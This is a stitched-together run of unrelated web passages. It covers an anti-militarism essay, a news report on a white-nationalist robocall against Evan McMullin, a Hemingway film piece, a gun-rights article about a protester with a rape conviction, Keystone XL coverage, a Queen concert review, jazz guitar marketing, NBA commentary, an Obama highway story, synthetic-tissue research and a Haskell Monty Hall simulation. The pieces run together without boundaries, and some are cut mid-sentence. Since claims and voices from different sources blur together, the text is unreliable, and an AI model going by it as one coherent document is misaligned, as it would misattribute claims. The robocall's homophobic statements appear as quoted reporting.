veterans is 22 a day. That figure, based on Department of Veterans Affairs findings, has been widely reported in the media. However, some writers and organizations say the number is taken out of context, derived from incorrect procedure or based on misunderstandings. Click here and click here to see two of the challenges. Click here to read “Suicide Data Report, 2012” by the Department of Veterans Affairs. It should be noted that the VA study was not restricted to combat veterans of the wars in Iraq and Afghanistan.Steve Mann / Shutterstock If you are not dedicated to the destruction of empire and the dismantling of American militarism, then you cannot count yourself as a member of the left. It is not a side issue. It is the issue. It is why I refuse to give a pass in this presidential election campaign to Bernie Sanders, who refuses to confront the war industry or the crimes of empire, including U.S. support for the slow genocide carried out by Israel against the Palestinians. There will be no genuine democratic, social, economic or political reform until we destroy our permanent war machine. Militarists and war profiteers are our greatest enemy. They use fear, bolstered by racism, as a tool in their efforts to abolish civil liberties, crush dissent and ultimately extinguish democracy. To produce weapons and finance military expansion, they ruin the domestic economy by diverting resources, scientific and technical expertise and a disproportionate share of government funds. They use the military to carry out futile, decades-long wars to enrich corporations such as Lockheed Martin, General Dynamics, Raytheon and Northrop Grumman. War is a business. And when the generals retire, guess where they go to work? Profits swell. War never stops. Whole sections of the earth live in terror. And our nation is disemboweled and left to live under what the political philosopher Sheldon Wolin calls “inverted totalitarianism.” Libertarians seem to get this. It is time the left woke up. “Bourgeois society faces a dilemma,” socialist Rosa Luxemburg writes, “either a transition to Socialism, or a return to barbarism … we face the choice: either the victory of imperialism and the decline of all culture, as in ancient Rome—annihilation, devastation, degeneration, a yawning graveyard; or the victory of Socialism—the victory of the international working class consciously assaulting imperialism and its method: war. This is the dilemma of world history, either-or; the die will be cast by the class-conscious proletariat.” The U.S. military and its array of civilian contractors operate as enforcers and hired killers across the globe for corporations, many of which pay no taxes. Young men and women, many unable to find work, are the cannon fodder. The U.S. military has served as the handmaiden of capitalism since it committed genocide against Native Americans, carried out on behalf of land speculators, mineral companies, timber merchants and the railroads. The military replicated this indiscriminate slaughter at the end of the 19th century in our imperial expansion in Cuba and elsewhere in the Caribbean, in Central America and especially in the Philippines. Military muscle exists to permit global corporations to expand markets and plunder oil, minerals and other natural resources while keeping subjugated populations impoverished by corrupt and brutal puppet regimes. The masters of war are the scum of the earth. It was the war profiteers and the military, as Seymour Melman has pointed out, that conspired after World War II to keep the country in a state of total war, deforming the economy to continue to produce massive amounts of weapons and armaments in peacetime. The permanent war economy is sustained through fearmongering—about communists during the Cold War and about Islamic jihadists today. Such fearmongering is used not only to justify crippling military expenditures but to crush internal dissent. The corporatists and the military, which have successfully carried out what John Ralston Saul calls a “coup d’état in slow motion,” have used their political and economic clout to dismantle programs and policies put in place under the New Deal. Brian Waddell writes of this process: The requirements of total war … revived corporate political leverage, allowing corporate executives inside and outside the state extensive influence over wartime mobilization policies. … Assertive corporate executives and military officials formed a very effective wartime alliance that not only blocked any augmentation of the New Dealer authority but also organized a powerful alternative to the New Deal. International activism displaced and supplanted New Deal domestic activism. Thus was the stage finally set for a vastly extended and much more powerful informal U.S. empire outside its own hemisphere. The war machine is not, and almost never has been, a force for liberty or democracy. It does not make us safe. It does not make the world safe. And its immense economic and political power internally, including its management of the security and surveillance state and its huge defense contracts, has turned it into the most dangerous institution in America. Military expenditures bleed the federal budget—officially—of $598.49 billion a year, or 53.71 percent of all spending. This does not, however, include veterans’ benefits at $65.32 billion a year or hidden costs in other budgets that see the military and the war profiteers take as much as $1.6 trillion a year out of the pockets of taxpayers. The working and middle class fund the endless wars in Iraq, Afghanistan, Pakistan, Somalia, Yemen and a host of other countries while suffering crippling “austerity” programs, massive debt peonage, collapsing infrastructures, chronic underemployment and unemployment and mounting internal repression. The war industry, feeding off the carcass of the state, grows fat and powerful with profits. This is not unique. It is how all empires are hollowed out from the inside. As we are impoverished and stripped of our rights, the tools used to maintain control on the outer reaches of empire—drones, militarized police, indiscriminate violence, a loss of civil liberties, and security and surveillance—are used on us. We have devolved, because of the poison of empire, into a Third World nation with nukes. We are ruled by an omnipotent, corporate oligarchy and their Pretorian Guard. The political class, Republican and Democrat, dances to the tune played by these oligarchs and militarists and mouths the words they want it to say. C. Wright Mills in “The Power Elite” warns of a military machine that not only holds the political and economic life of the nation hostage but also has the ability to form public opinion. The Pentagon spends $4.7 billion a year and has some 27,000 employees who work on recruitment, advertising, psychological operations and public relations, according to a 2009 report by The Associated Press. But millions of dollars more for propaganda are hidden within classified budgets. The Pentagon places its commentators and pundits on the airwaves, produces “news” stories for the press, has ubiquitous advertising, runs junkets for Wall Street capitalists and elected officials and manages how Hollywood and television portray war and the military. Mills writes: … [I]n all of pluralist America, there is no interest—there is no possible combination of interests—that has anywhere near the time, the money, the manpower, to present a point of view on the issues involved that can effectively compete with the views presented day in and day out by the warlords and by those whom they employ. This means, for one thing, that there is no free and wider debate of military policy or of policies of military relevance. But that, of course, is in line with the professional soldier’s training for command and obedience, and with his ethos, which is certainly not that of a debating society in which decisions are put to a vote. It is also in line with the tendency in a mass society for manipulation to replace explicitly debated authority, as well as the fact of total war in which the distinction between soldier and civilian is obliterated. The military manipulation of civilian opinion and the military invasion of the civilian mind are now important ways in which the power of the warlords is steadily exerted. The extent of the military publicity, and the absence of opposition to it, also means that it is not merely this proposal or that point of view that is being pushed. In the absence of contrasting views, the very highest form of propaganda warfare can be fought: the propaganda for a definition of reality within which only certain limited viewpoints are possible. What is being promulgated and reinforced is the military metaphysics—the cast of mind that defines international reality as basically military. The publicists of the military ascendency need not really work to indoctrinate with this metaphysics those who count: they have already accepted it. The naked greed and violence that define empire, understood by writers such as Joseph Conrad, Eduardo Galeano and Arundhati Roy, is masked within empire behind the cant of patriotism and nationalism, which sanctify self-exaltation and racism. Imperial war is transformed through the magic of propaganda into glorious spectacle. Galeano once wrote that “each time a new war is disclosed in the name of the fight of the good against evil, those who are killed are all poor. It’s always the same story repeating once and again and again.” The hypermasculinity of the military, celebrated by Hollywood and the media, is seductive to an underclass trapped in menial, dead-end jobs. Empires feed like vultures on these pools of frustrated surplus labor. They manipulate their feelings of powerlessness. This is why capitalists create pools of surplus labor. Those who are desperate to secure a place in society are easy fodder for the military and ready candidates for underpaid jobs without benefits or job security. Our corporate, neofeudal society is by design. The sons and daughters of the elites rarely serve in the military. The military, even at the service academies such as West Point, attracts those who have been cast aside by neoliberalism. Often, before joining the military, they lack a clearly defined identity or sense of purpose. They are terrified of being pushed permanently into the underclass. They are especially susceptible to indoctrination. The military teaches soldiers, sailors, airmen and Marines not to think, not to challenge assumptions and structures, but to obey and to be “tough” and “strong.” This hypermasculine culture glorifies the state and state violence. It renders all human beings outside the sacred national circle as objects to control or exploit. It creates a binary world of good and evil. It sanctifies violence, especially male violence. It is why rape is endemic in the military. It is why pornography and violence against women are so pervasive in the culture. Tenderness, nurturing and empathy, along with intellectual inquiry and artistic expression, are banished. The weak and the vulnerable deserve to be cast aside. Our enemies deserve to be killed. It is the culture of death. And we drink deep from this dark elixir. W.E.B. Du Bois warns that empire was the primary tool used to break the working class in Europe and later in the United States. As workers organized and fought for rights and fair wages, the masters of empire started to shift production to countries more easily controlled, countries inhabited by “darker peoples.” This is a shift that is largely complete. “Here, are no labor unions or votes or questioning onlookers or inconvenient consciences,” Du Bois writes. “These men may be used down to the very bone, and shot and maimed in ‘punitive’ expeditions when they revolt. In these dark lands ‘industrial development’ may repeat in exaggerated form every horror of the industrial horror of Europe, from slavery and rape to disease and maiming, with one test of success—dividends.” Du Bois also knew that the costs of maintaining empire were offset by the profits. “What do nations care about the cost of war, if by spending a few hundred millions in steel and gunpowder they can gain a thousand millions in diamonds and cocoa?” he asks.The reality of empire is nearly impossible to see from the heart of empire. Those who speak its truth are banished from the airwaves. They are condemned as traitors or “anti-American.” The cries of empire’s victims are rarely heard. The crimes that empire commits are rendered invisible. The greed of the war makers, along with the corruption and dishonesty of the political, judicial, academic and media courtiers who serve empire, is blocked from public view. The image of empire is scripted like a Walt Disney movie. This mythical narrative is disseminated in films, on television, by the press, in churches, in universities and by the state. It is a lie. But it is a lie that works. And it works because it is what we want. It appeals to our fantasies about ourselves: that we are a virtuous people, that God has blessed us above others, that we have the highest form of civilization, that we have been anointed to police the world and make it safe, that we are the most powerful and righteous nation on earth, that we are always assured of victory, that we have a right to kill in the name of nationalist values—values determined by our naked self-interest and that we conveniently define as universal. Noam Chomsky, more than perhaps any other American intellectual, has laid bare the latent forces of totalitarianism in our midst and warned us against the contagion of empire. He says: Those with deep totalitarian commitments identify the state with the society, its people, and its culture. Therefore those who criticized the policies of the Kremlin under Stalin were condemned as “anti-Soviet” or “hating Russia.” For their counterparts in the West, those who criticize the policies of the U.S. government are “anti-American” and “hate America”; those are the standard terms used by intellectual opinion, including left-liberal segments, so deeply committed to their totalitarian instincts that they cannot even recognize them, let alone understand their disgraceful history, tracing to the origins of recorded history in interesting ways. For the totalitarian, “patriotism” means support for the state and its policies, perhaps with twitters of protest on grounds that they might fail or cost us too much. For those whose instincts are democratic rather than totalitarian, “patriotism” means commitment to the welfare and improvement of the society, its people, its culture. That’s a natural sentiment and one that can be quite positive. It’s one all serious activists share, I presume; otherwise why take the trouble to do what we do? But the kind of “patriotism” fostered by totalitarian societies and military dictatorships, and internalized as second nature by much of intellectual opinion in more free societies, is one of the worst maladies of human history, and will probably do us all in before too long. There can be no rational debate about empire with many desperate Americans who have ingested this as their creed. The distortion of neoliberalism has left them little else. Here lies the virus of fascism, wrapped in the American flag, held aloft by the Christian cross and buttressed by white supremacy. It is a potent and dangerous force within the body politic. And it is growing. The real enemy is within.One of Donald Trump’s biggest white nationalist supporters is out with a new robocall in Utah that makes a series of outlandish statements about independent candidate Evan McMullin. William Johnson, chairman of the white nationalist American Freedom Party and founder of the pro-Trump American National Super PAC, said in an email that the robocall will go out to rural Utah voters beginning Monday evening and expand to urban centers by Tuesday. “Evan has two mommies,” Johnson says on the call, which was funded through his PAC. “His mother is a lesbian, married to another woman. Evan is okay with that. Indeed, Evan supports the Supreme Court ruling legalizing gay marriage.” “Evan is over 40 years old and is not married and doesn’t even have a girlfriend,” he continued. “I believe Evan is a closet homosexual.” McMullin is currently polling in second place behind Trump in Utah, where Mormon voters have shied away from the bombastic Republican nominee. In an interview last week with the Salt Lake Tribune, McMullin, a Mormon himself, said he loves his mother, who is married to a woman, but believes “in the sanctity of traditional marriage.” The Utah campaign is Johnson’s latest effort to promote the Republican nominee. The Los Angeles-based attorney and white nationalist activist alters his message depending on whether he’s trying to appeal to broad swaths of voters, as in recent swing state radio ads praising Trump as a “strong leader,” or churn up racialized fears. In the Utah robocall, Johnson self-identifies as a white nationalist. His robocall campaigns and radio ads are not authorized by the Trump campaign, and the Republican nominee has, under pressure, disavowed support from his white nationalist backers. Spokespeople for the Trump and McMullin campaigns did not immediately respond Monday to TPM’s requests for comment. Read the full text or listen to audio of the robocall below: My name is William Johnson. I am a farmer and a white nationalist. I make this call against Evan McMullin and in support of Donald Trump. Evan McMullin is an open borders amnesty supporter. Evan has two mommies. His mother is a lesbian, married to another woman. Evan is okay with that. Indeed Evan supports the Supreme Court ruling legalizing gay marriage. Evan is over 40 years old and is not married and doesn’t even have a girlfriend. I believe Evan is a closet homosexual.‘Papa: Hemingway in Cuba’ holds the distinction of being the first Hollywood production to shoot on the island since the 1959 revolution. The film is based on real-life events. “The movie is a true story of a young reporter that is befriended by Mary and Ernest Hemingway and actually interacts with him very closely,” explains the film’s director, Bob Yari. “He becomes almost like a son to them during the last two years of Hemingway’s life while he lived in Cuba. And through this young reporter’s eyes we really begin to see a very personal, private side of Hemingway, that he didn’t really let the public see.” ‘Papa’, as Hemingway was affectionately known, lived in Cuba from 1939 to 1960. The film was shot on location in 2013 and 2014, even before Havana and Washington announced they were restoring diplomatic ties. But, according to Bob Yari, it’s not just politics that posed an obstacle to filming in Cuba. “Lack of infrastructure, no stages really, equipment… So it made it very challenging. And then the real interesting one was the Cuban work ethic – it’s very different to a US production. US productions work 14 to 16 hours a day. The Cuban film community is a passionate, talented, great people, wonderful people, but they are just used to doing things a little slower,” he says. Starring Adrian Sparks as Hemingway, the film has opened to luke-warm reviews in the United States, described by one critic as Hollywood’s Havana horror and another as a sincere but formulaic biopic. ‘Papa: Hemingway in Cuba’ is out now in US theaters.by Chad D. Baus On Friday, Dayton's FOX affiliate reported that Jerome McCorry had planned to stage another protest outside the Bill Goodman Gun & Knife Show at Dayton's Hara arena. What they did not report, as is frequent in news coverage of similar protests staged by McCorry in the past, is that McCorry is a convicted rapist. Quite obviously, we believe that part of McCorry's past should be a key part of any article that is done covering his actions to "fight violent crime," especially since those actions are focused primarily on taking away the ability of law-abiding citizens to purchase guns for self-defense. In response to the announcement of the planned protest, we published an article on Friday noting the FOX 45 article had once again failed to note the fact that the gun control extremist planning the protest is listed on the sex offender registry. We suggested that readers email or send messages through Facebook or Twitter calling on the news station to report on this fact. We are please to report that the actions of our readers not only resulted in getting some much-needed news coverage of this problem, but also in forcing the organizer to cancel the protest. From WRGT FOX 45's follow-up article, entitled "Local Gun Control Advocate's History Put Under Microscope": As the debate over tougher gun regulations roars on, the criminal background of a local man who's calling for stricter gun laws is causing a lot of controversy. Reverend Jerome McCorry who is the head of the Adam Project in Dayton has continuously called for tighter gun restrictions. He typically protests at the Bill Goodman Gun and Knife Show and there's one happening this weekend. There's one group in the Miami Valley that wants to know why anyone would listen to a convicted rapist who wants to limit your access to weapons. McCorry had planned to protest outside the gun show Saturday afternoon, but after several attempts to talk to him on camera about his criminal history, he cancelled the protest citing another planned commitment. McCorry is an outspoken advocate for gun control in our community and on Thursday he spoke to ABC 22/FOX 45 and called for tighter gun control again. He is also listed on the sex offender register as a convicted rapist and that conviction is causing Buckeye Firearm Association to question his credibility. "The gentleman is a convicted felon and rapist. We take offense at the fact that he is going to protest a legal and legitimate gun show business," said Larry Moore, Buckeye Firearms Association. The article goes on to say that the news station attempted for two days to talk to McCorry about the conviction, but "despite going to his home of multiple occasions, leaving multiple messages and going to a community event he was scheduled to be at Saturday, McCorry only spoke to us briefly on the phone. He said Buckeye Firearms is doing nothing but a smear campaign bringing up something he has talked about in the past." The report also quoted McCorry from a past interview saying that "we all have a past unfortunately, and once you have done time, once you have put that behind you, you now have the right to participate in a full scale kind of way, when it comes back out to registering and voting." Note that McCorry did not mention gun rights among the rights in which he wants to "participate in a full-scale kind of way," since the felon's violent record precludes him from ever again owning or possessing a firearm. Unfortunately, felons who don't care about the law often break the law and obtain firearms, such as happened in this case last week, also in Dayton. And because there will always be violent people doing violent things, Buckeye Firearms Association fights the fight to ensure that law-abiding people have the right and tools to protect themselves from such people. ...Moore says this, "a firearm in the hands of the capable woman could be a great equalizer and perhaps stop that rape attack." McCorry says the Firearms Association is diverting from the real issue which is getting guns off the streets and stopping crimes. But, they say that's not the problem, "we don't see it as a gun problem we see it as we have a violence problem in our society," said Moore. McCorry sent a text to us saying "pray that focus continues on solutions and not character assassination." The Buckeye Firearms Association says this is not a smear campaign, but a real concern. The next gun show is scheduled for May 4th and 5th. It is unclear if protestors will be present. Leaving aside the question of whether or not there remains any character left in a rapist to be "assassinated," the question of the type of person who would continue to list two public officials as board members of his anti-gun organization so long after they had resigned should be quite easy to answer. Jerome McCorry as he appeared on WHIO calling for gun control Jerome McCorry as he appears in the Sex Offender Registry It was after Jerome McCorry's last protest at Hara Arena in January that Buckeye Firearms Association first wrote about his status as a convicted rapist. We noted that Anti-Gun-Protester Jerome McCorry could be seen on WHIO (CBS Dayton) wearing a jacket and being identified in the on-screen graphic as the President of The Adam Project. The Adam Project's website lists its address as 1426 Home Ave., Dayton - the same address as Rapist-and-Convicted-Felon Jerome McCorry. When we went looking for evidence that McCorry "has the endorsement of respected law enforcement leaders," which WHIO gave as their excuse for why they didn't report on his status as a sex offender, we noted and wrote about the fact that The Adam Project's Facebook page lists both Montgomery County Sheriff Phil Plummer and his Chief Deputy, Scot Landis as board members. Sheriff Plummer quickly contacted BFA to advise us that he resigned from the board of the Adam Project three years ago. He was unaware that he was listed as a board member on the Adam Project Facebook page. He assured Buckeye Firearms Association that he in no way supports The Adam Project and convicted rapist Jerome McCorry's anti-gun agenda. And yet today, nearly three months after that public statement by Sheriff Plummer that he had resigned from The Adam Project so long ago, The Adam Project's Facebook page still lists Plummer and Landis as board members. The fact is, character is most certainly at issue, and this man's past as a felon convicted of this type of horrible, violent, degrading crime against women deserves to be discussed each and every time he steps in front of a microphone and demands that potential victims of crime have their gun and self-defense rights forcibly taken from them. Video of this news report can be viewed on FOX45's sister station, WKEF (ABC 22). Chad D. Baus is the Buckeye Firearms Association Vice Chairman. Related Articles: Convicted rapist organizes gun control demonstration at Dayton gun show; Media fails to note his sex offender status WHIO-TV (CBS Dayton) admits awareness of anti-gun protestor's status as a convicted rapist; Other news outlets remain silent WHIO-TV's excuse for quoting rapist-for-gun-control fizzles as Sheriff Plummer reveals he is NOT a Adam Project board member Sex offender to stage another protest demanding that law-abiding citizens disarmLast Friday, InsideClimate News revealed yet another possible conflict of interest in the ongoing drama surrounding the proposed Keystone XL oil pipeline. It turns out that “the analysis of greenhouse-gas emission presented by the State Department in its new environmental impact statement … includes dozens of references to reports by Jacobs Consultancy, a group that is owned by a big tar sands developer and that was hired by the Alberta government—which strongly favors the project.” You might expect a bigger public outcry given that State’s Inspector General was already investigating accusations that the environmental consultancy hired by the department to produce the report, Environmental Resources Management, has financial ties to TransCanada, the company that wants to build the pipeline. Despite the fact that InsideClimate is a Pulitzer-winning investigative news outlet, its scoop was a classic week-two, follow-up story – the kind the public too often overlooks. The problem is not the media, however, but rather the State Department. The first glut of articles, the one most people notice and that largely defines public opinion, appeared the day that the environmental impact report was released. Most, including those from The New York Times and the Associated Press, mentioned the Inspector General’s investigation of ERM, but State didn’t give journalists time to dig into the report to identify other concerns like the role of Jacobs Consultancy. Instead, State issued a press release on January 31, the Friday before the Super Bowl. A select group of reporters received a link to the report and an invitation to a private teleconference that morning. On the call, they were told that the report was under embargo until 3 p.m., giving them about five hours to read and digest a document that runs over 11 volumes with appendices. The executive summary alone has 44 pages, with over 18,000 words, not to mention charts, graphs, and tables. Pretending Politics
Mercury, imploring the audience to sing along and create “some magic” during an acoustic “Love of My Life” before the vocalist joined him on a large, oval video screen to help May finish the job. Here’s where the show could have used an editor: between Taylor’s shaky lead vocals on Innuendo’s nostalgic “These are the Days” and his “Under Pressure” duet with Lambert (couldn’t they have found a David Bowie video for Taylor’s vocal?), the concert veered into Spinal Tap territory with a succession of instrumental solos. Guitarist May’s 20-minute stretch was especially tedious, relying on sustained tones and scratching instead of some of the fiery fretwork and lyrical beauty he’s capable of executing. Perhaps my tolerance level would have been a lot higher if all those solos hadn’t been clumped together, but it put a real damper on the show’s momentum, robbing the audience of the potential to hear a couple of Queen favourites like “You’re My Best Friend” or “Keep Yourself Alive” that were omitted from the set list. The show rebounded a bit with an energetic “Tie Your Mother Down” and in the next few numbers showed the tremendous breadth of Queen’s rock and pop evolution: the insipid electro pop-driven “Radio Ga Ga “ (which I place at a level of annoyance just below Starship’s rank “We Built This City”), the ’50s-inspired twist “Crazy Little Thing Called Love” (here Lambert missed the chance to exercise his inner Elvis), over-the-top “The Show Must Go On” and pop’s classic mini-operetta “Bohemian Rhapsody.” By the way, if you’re wondering how Queen recreated the complex choral trade-and-response in the middle of the song, the answer is, they didn’t. Instead, they rolled the 1975 video and chimed in with live performance once the movement was finished. It was an acceptable cheat, and for the 13,000 or so in attendance, it was the concert’s highlight. For the energetic encores of “We Will Rock You/We are the Champions,” singer Lambert donned a crown and led the crowd through a sing-along, a further testament to the band’s infectious material. As to whether he deserved to be considered royalty, you’ll be able to decide for yourselves when the band returns to the ACC on July 28, with an earlier start time of 7:30 p.m. At the very least, you’ll enjoy Mercury in retrograde.Jazz Guitar Improvisation in ONE Lesson! Jazz Guitar Improvisation System that, with a concise fret board diagram & without naming a note, provides a network of options through a musical structure that outlines the limits of Classical Jazz Harmony in Major. Arranged for fret board convenience for an acoustic solo chord style. View instructions for use of the diagrams you see at the left for this improvisation style online. This is a formula that delivers jazz guitar improvisation skills through the practice of just a few mental and physical exercises. The countless variations of circles of 5ths that result from the application of the simple logic described ahead facilitates improvisation far more readily than common linear styles of learning. The use of a musical formula designed specifically for the guitar rather than any number of isolated chord progressions opens the door to this improvisation system. THOSE WITH THEORETICAL KNOWLEDGE MAY FIND THE DEPICTION OF THE NUMERICAL CORRELATION OF THESE DIAGRAMS TO CLASSICAL JAZZ HARMONY IN MAJOR TO BE QUITE FAMILIAR AS IT IS CHARTED FOR THE FRET BOARD UNDER THE LINK TO "THEORY" BELOW. CLICK TO HEAR THE JAZZ HARMONY CREATED BY THE BASIC OPTIONS OF THIS JAZZ GUITAR IMPROVISATION SYSTEM. Remember, it is a midi reproduction and instrument quality will vary with the sound card quality of the computer of the listener. The diagrams displayed at the left in conjunction with their surprisingly simple application (once visualized) define a complete framework for this chordal improvisation style. An initial effort, both physical and mental, depending on your previous experience with the guitar, is needed to memorize the options to a degree of fluidity but in a short time the results will become apparent. Sized for printing diagrams are available through the link above. The description of the simple use of the colored diagrams becomes unavoidably wordy perhaps but once grasped, the simple logic & the diagrams will be all that are needed to improvise this system's solo acoustic finger style and in a short time you won't need the diagrams either. If you have guitar skills and are interested in acoustic jazz, but haven't, or will not have time to absorb the volumes on theory, this may be an ideal approach and well worth the effort. The simplicity of the recommended use for the colored diagrams may, on the surface, appear too easy to be of real value but if you have playing experience, you'll probably realize the number of avenues that stem from even the use of 3 or 4 chords. The introductory and background material describe how the diagrams are used to access an abundance of chord substitution options through circles of 5ths. Click to the recommended use of diagrams for intermediate guitarists ONLINE, OR! see introduction ( recommended ) and information below:. A Broad Harmonic Perspective for the GuitarThe Los Angeles Lakers upgraded the point guard position at the trade deadline by dealing Luke Walton and a draft pick to the Cleveland Cavaliers for Ramon Sessions. However, the Lakers may have seriously harmed their chances of reaching the NBA Finals by trading long-time point guard Derek Fisher for Jordan Hill. Fisher has found his way onto the Oklahoma City Thunder, and with the Lakers missing their hard-nosed guard, and the Thunder picking him up, the Lakers may have just cost themselves a chance at the title. Advertisement The Thunder are currently in first place in the Western Conference, and many predicted that the young nucleus of Kevin Durant and Russell Westbrook would mean that Scott Brooks's squad would get over the hump and make the Finals this season. Things were looking up for Oklahoma City, after a quality effort against the eventual NBA Champion Dallas Mavericks. It was the aging Lakers, who got swept by Dallas, that had serious questions heading into the 2011-2012 season. In the end, the Lakers moved Lamar Odom, Walton, and Fisher and were extremely close to dealing Pau Gasol. All four of those players are in their 30s, and all of those players have spent a considerable amount of time with Kobe Bryant. Neither those deals, nor the hiring of new head coach Mike Brown, received a seal of approval from Bryant, as the future Hall of Famer wasn't even asked his opinion on such matters. In the case of Fisher, Bryant had a unique bond, as the two joined the Lakers in 1996 when they were selected just 11 picks apart in the NBA Draft. Fisher's loss hurts the Lakers in a lot of ways. He is a savvy veteran, he played tough defense against players who were often taller than him like Boston's Ray Allen, he remains among the best players in the NBA in taking a charge, he can still hit outside shots, and he has always been clutch. Perhaps more importantly, he knows the Lakers inside and out. Should the Lakers face the Thunder in playoffs, Fisher will basically be another coach and will feed the staff and his teammates all the secrets of the team. The same can not be said about Hill's role with the Lakers, to say the least. When Fisher steps out on the hardwood at Staples Center, he will feel extremely comfortable, and will be greeted to a chorus of cheers from a fanbase that has appreciated his dedication and quality play for several seasons. Like another fan favorite, Robert Horry, Fisher still has something left. Fisher averages more than 25 minutes a game this season, and has shot a respectable percentage from beyond the three-point line (32.4). When Horry left the Lakers, the consensus opinion was that the 6'10 forward had over-stayed his welcome and didn't have much left. However, Horry remained a key bench player for the San Antonio Spurs and his clutch shots helped lead the Spurs to two titles in five seasons. The parallels between Horry and Fisher are not completely similar. Horry joined the Spurs when he was 34, while Fisher, who plays a more tiring position, is 37. Perimeter players like Fisher rarely last more than 15 seasons. But Fisher is a passionate athlete, and he will be playing with a chip on his shoulder. Fisher wants to win another ring, and having it come at the expense of the team that rather callously sent him packing after several loyal seasons would likely be gratifying for his ego. The Lakers could have kept Fisher, and had him split time with Steve Blake as the reserve for Sessions. The Lakers also could have simply dealt Blake, who is having a better season than in 2010-2011, but doesn't have the same connection to the organization as Fisher has had. Expect Fisher to make the most of his minutes with Oklahoma City, and for the Lakers to be left perhaps scratching their heads as to why they let him go.California legislators voted Tuesday to designate a section of the 134 Freeway in Los Angeles County as the President Barack H. Obama Highway in honor of the 44th President of the United States. In order to place the signs with Obama’s name along the section of the 134 Freeway between the 210 Freeway and the 2 Freeway — covering parts of the communities of Glendale, Pasadena and Eagle Rock — private donations will have to be raised by supporters. Ironically, President Ronald Reagan Freeway is located in Simi Valley just east of the newly approved site of the President Obama stretch of freeway. Breitbart News reported late last year that there were multiple proposals to rename a road and a freeway section in Los Angeles after the 44th President because “Obama studied at Occidental for two years before transferring to Columbia University, where he eventually graduated in 1983. [In December], Pasadena unveiled a sidewalk plaque outside Obama’s former apartment from his Occidental days.” The Los Angeles Times reports that in spite of a nearly unanimous vote (38-0 in the State Senate with only one “no” vote in the Assembly), Democrats still could not help but take a swipe at the current president: State Sen. Anthony Portantino (D-La Cañada Flintridge) said he decided to seek renaming the stretch of the Ventura Freeway after learning Obama lived in Pasadena as a student and used the freeway to commute to class at Occidental. Portantino made a veiled reference in his comments on the floor to President Trump’s decision that day to end a program that protects young immigrants from deportation. “It is particularly proud to stand today to recognize [Obama’s] compassion and heart and dignity on a day when we sorely need compassion, heart and dignity expressed,” Portantino told his colleagues. The lone “no” vote was cast by Republican Assemblyman Matthew Harper (R-Huntington Beach), who said the action is too early and may create confusion with the city of Los Angeles renaming a portion of Rodeo Road as “Obama Boulevard.” Harper also expressed concern, according to the Times, that a section of the 90 Freeway once named after President Nixon, was rescinded after he resigned due to the Watergate scandal. CalTrans is required to provide a final cost estimate, but previous freeway namings have ranged between $3,000 and $5,000. Tim Donnelly is a former California State Assemblyman and Author, currently on a book tour for his new book: Patriot Not Politician: Win or Go Homeless. He also ran for governor in 2014. FaceBook: https://www.facebook.com/tim.donnelly.12/ Twitter: @PatriotNotPolMade up of hundreds of interacting water droplets, these light-activated synthetic tissues could be developed into a platform to study how cells interact, for drug delivery, or even to control living tissues. The work has demonstrated that it is possible to create synthetic tissues that comprise patterned networks of interconnected compartments, each with a minimal cellular functionality that can be externally controlled by light. The research is published in the journal Science Advances. Professor Hagan Bayley of the Department of Chemistry at the University of Oxford, senior author of the study, said: 'A key objective of bottom-up synthetic biology has been to build synthetic cells capable of performing simple functions. Previous research has concentrated on individual compartments, whereas we have been exploring the next level of organization in synthetic biology: the formation of tissue-like materials.' Previous work carried out by Professor Bayley's group has seen the development of a 3D printer that creates soft structures made of hundreds of salt-containing picoliter droplets connected through lipid membranes. These structures can be given functions unattainable with individual droplets, such as the ability to fold into new shapes. However, once built, these tissue-like materials cannot be readily altered. First author Dr Michael Booth, Junior Research Fellow at Merton College, University of Oxford, and a member of the Bayley group, said: 'We have endowed these droplets with a minimal cellular functionality: the ability to express proteins from synthetic DNA genes. Furthermore, a tightly regulated light-activated DNA has been created, so protein is only formed upon illumination of the "synthetic cells". 'Having induced the expression of transmembrane protein pores in selected cells by directed irradiation, we demonstrate fast directional electrical communication through the 3D printed material under stringent light-activated control. The conductive pathway formed in the 3D-printed tissue is a functional mimic of communication in the nervous system. These synthetic tissues may be developed into a biomaterial that could help repair the nervous system.'In order to provide intuition behind the solution of the Monty Hall problem, Antonio Cangiano says: If there were a billion doors, you picked one, and then Monty proceeded to open up all the remaining doors but one, we’d have a situation where it would be extremely unlikely that you picked the right door at the beginning, while it would be extremely likely that the remaining door was the one that was concealing the car. Now, what happens when there are more than three doors. In this post, I will modify the solution of my last post to work for any number of doors. It requires a little change to the program. import Data.List (delete, (\\) ) import Text.Printf (printf) import Control.Monad import Control.Monad.MC This time, instead of defining Door by listing all alternatives, I define it as an instance of Bounded class. data Door = Door Int deriving (Show, Eq) numDoors = 3 instance Bounded Door where minBound = Door 1 maxBound = Door numDoors instance Enum Door where toEnum n = Door n fromEnum (Door n) = n doors = [minBound.. maxBound] :: [Door] Object are the same as before. data Object = Car \| Goat deriving (Show, Eq) type Universe = [Object] There is one car; all other doors have goats. This can still be generated using the shuffle function. nature :: MC Universe nature = shuffle numDoors (Car: repeat Goat) The contestant open one door at random. contestant :: MC Door contestant = sample numDoors doors The options available to the host remain the same as before. options :: Universe -> Door -> [Door] options universe door = filter (\d -> Goat == open universe d) remainder where remainder = delete door doors We need a generic function to see what is behind a closed door. open :: Universe -> Door -> Object open universe (Door n) = universe!! (n-1) The host opens all but one door. We can do this by replacing the sample function with sampleSubset function. host :: [Door]-> MC [Door] host o = sampleSubset (numDoors-2) l o where l = length o The strategies are now whether to stick or switch based on the door that the contestant chose, and the doors that the host opened. strategyStick :: Door -> [Door] -> Door strategyStick d1 d2 = d1 strategySwitch :: Door -> [Door] -> Door strategySwitch d1 d2 = head (doors \\ (d1:d2)) The reward function is same as before. reward :: Universe -> Door -> Double reward u d = if Car == open u d then 1.0 else 0.0 And so is the generation of the ranom experiment. randomVariable :: (Door -> [Door] -> Door) -> MC Double randomVariable strategy = do u <- nature c <- contestant h <- host (options u c) let r = reward u (strategy c h) return r And we see the result. main = let n = 100000 seed = 42 stats = repeatMC n (randomVariable strategyStick) `evalMC` mt19937 seed in do putStrLn $ printf " numDoors : %d" numDoors putStrLn $ printf "Mean : %f" (sampleMean stats) putStrLn $ printf "99%% Confidence interval : (%f, %f)" `uncurry` (sampleCI 0.99 stats) Now lets see the results. For numDoors : 3 Mean : 0.3334800000000033 99% Confidence interval : (0.3296397390134338, 0.33732026098657275) numDoors : 30 Mean : 0.03466999999999957 99% Confidence interval : (0.03317983597888913, 0.03616016402111001) numDoors : 300 Mean : 0.0038399999999999784 99% Confidence interval : (0.0033362101507491866, 0.00434378984925077) Well, I think that you get the idea. I am not going to run this thing for a billion doors. 